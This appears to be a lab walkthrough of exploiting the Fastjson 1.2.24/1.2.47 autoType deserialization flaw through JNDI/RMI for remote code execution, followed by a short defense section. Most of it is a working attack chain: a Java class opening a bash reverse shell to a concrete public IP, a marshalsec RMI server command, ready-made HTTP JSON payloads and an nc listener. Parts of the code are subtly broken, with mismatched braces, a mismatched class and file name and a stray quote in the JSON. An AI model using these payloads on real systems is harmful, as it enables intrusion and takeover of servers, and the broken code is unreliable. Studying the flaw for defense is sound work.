The general steps
1. First, write a class containing malicious code on the attack machine, compile it into a class file. There are the commands we want to execute, and start the web service
2. It is also necessary to deploy an rmi service on the attack machine using a jar package.

3. Through payload requests, attack the rmi service on the attack machine, this service will remotely invoke the malicious class we deployed in the first step of web deployment.
can cause rce.
Attack flow analysis:
- Deserialization triggers:When Fastjson parses JSON, it reflects the call
JdbcRowSetImpl.setDataSourceName()
andsetAutoCommit()
. - JNDI query:The target server sends a request to the RMI server
rmi://remote address:8653/reverse
Initiate a request. - Malicious class loading:The RMI server returns a reference to the malicious class
Reference
object, the target server downloads and executes the constructor method of the class. - Remote Code Execution:The attacker implements command execution, memory horse injection, and other attacks through malicious classes.
Fastjson
fastjson is a Java library that can convert Java objects to JSON strings and vice versa. Fastjson can also operate some objects in Java.JNDI
JNDI (Java Naming and Directory Interface)
It is an application programming interface that mainly provides common interfaces for searching, accessing, and naming, locating network, users, objects, and services some resources. Simply put, it isJNDI
The commonly used functions, components, and services are named, and then names are used to find and use them.
JNDI can be usedRMI
Remote object invocation supports common services such asDNS, LDAP, RMI, CORBA
RMI
RMI (Remote Method Invocation), remote method invocation is very common in distributed programming, mainly to implement remote method invocation, among whichRMI
is a remote method invocation mechanism specifically designed for the Java environment,JDNI injection
JNDI
There is a serviceRMI
It can support Java remote method invocation. If the method in the remote address called by rmi has some dangerous code that has not been processed, it will lead to command execution.
Vulnerability Principle
When parsing JSON objects, fastjson uses an autoType instance to instantiate a specific class and call set/get methods to access properties. The vulnerability appears in the Fastjson autoType handling of JSON objects, which does not perform a complete security verification on the @type field. We can pass in a dangerous class and call the dangerous class to connect to a remote RMI server, execute malicious code through the malicious class, and then realize a remote code execution vulnerability.
Let's start officially
Firstly, set up the environment on ubuntu using vulhub to start the fastjson 1.2.24 rce environment, access port 8090 normally
The attacker machine is another public network machine and needs java8 environment,
First write a simple java class to execute our commands, compile it into a class file using javac.
reserve.java viaJdbcRowSetImpl
Trigger JNDI injection
import java.lang.Runtime; import java.lang.Process; public class reverse{ static { try{ Runtime rt = Runtime.getRuntime(); String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/189.1.226.116/4563 0>&1"}; Process pc = rt.exec(commands); pc.waitFor(); } // do nothing } } }
Then start the web access in this directory using python
python3 -m http.server 8989
At the same time, we also need to start another rmi service to call the malicious class file for attack, which requiresmarshalsec-0.0.3--SHOT-all.jar,
You can download it directly or build the file yourself
GitHub - RandomRobbieBF/marshalsec-jar: marshalsec-0.0.3-SNAPSHOT-all compiled on X64
After obtaining this jar package, start the rmi service
/* Example java -cp marshalsec-0.0.3--SHOT-all.jar marshalsec.jndi.RMIRefServer "http://attacker_ip:web_port/#classname" rmi_service_port */ java -cp marshalsec-0.0.3--SHOT-all.jar marshalsec.jndi.RMIRefServer "http://xxxxxxxx:8989/#reserve" 8653
Then write the payload
POST / HTTP/1.1 Host: xxxxxxxxx:8090 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br DNT: 1 Sec-GPC: 1 Connection: keep-alive Upgrade-Insecure-Requests: 1 Content-Type: application/json Content-Length: 163 { "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://attacker_ip:8653/reverse", "autoCommit":true } }
Field Explanation:
- @type field: Specify the deserialization target class as
JdbcRowSetImpl
(Built-in database connection component of JDK). - dataSourceName: Set the JNDI service address to point to the RMI server controlled by the attacker (IP, port: 8653).
- autoCommit: Trigger
setAutoCommit()
method, indirect callconnect()
, initiate JNDI query[][].
Open web listening on the attacking machine nc -lnvp 4563
Execute payload, the response is blank or 500, basically can be successful
Defense and Repair Solutions
1. Code-level Protection
- Upgrade Fastjson:
Use Fastjson 2.x version (AutoType is disabled by default), configure whitelist:ParserConfig.getGlobalInstance().addAccept("com.example.safe.*");
- Enable safe mode:
ParserConfig.getGlobalInstance().setSafeMode(true); // Disable AutoType completely
2. Runtime Protection
- JVM parameter limit:
Add-Dcom.sun.jndi.rmi.object.trustURLCodebase=false
Disable remote class loading. - RASP Interception:
monitorJdbcRowSetImpl.connect()
andInitialContext.lookup()
etc. sensitive method calls.
3. Network layer control
- exit traffic filtering:
block the server from actively reaching out to RMI, LDAP, and other protocols. - intrusion detection rules:
Set feature rules in IDS/IPS (such as@type
field containsJdbcRowSetImpl
)
Change the payload to fastjson 1.2.47 version
POST / HTTP/1.1 Host: 1xxxx8.18:8090 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/json Content-Length: 265 { "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://189.1.226.116:8653/TouchFilels" ", "autoCommit":true } }

评论已关闭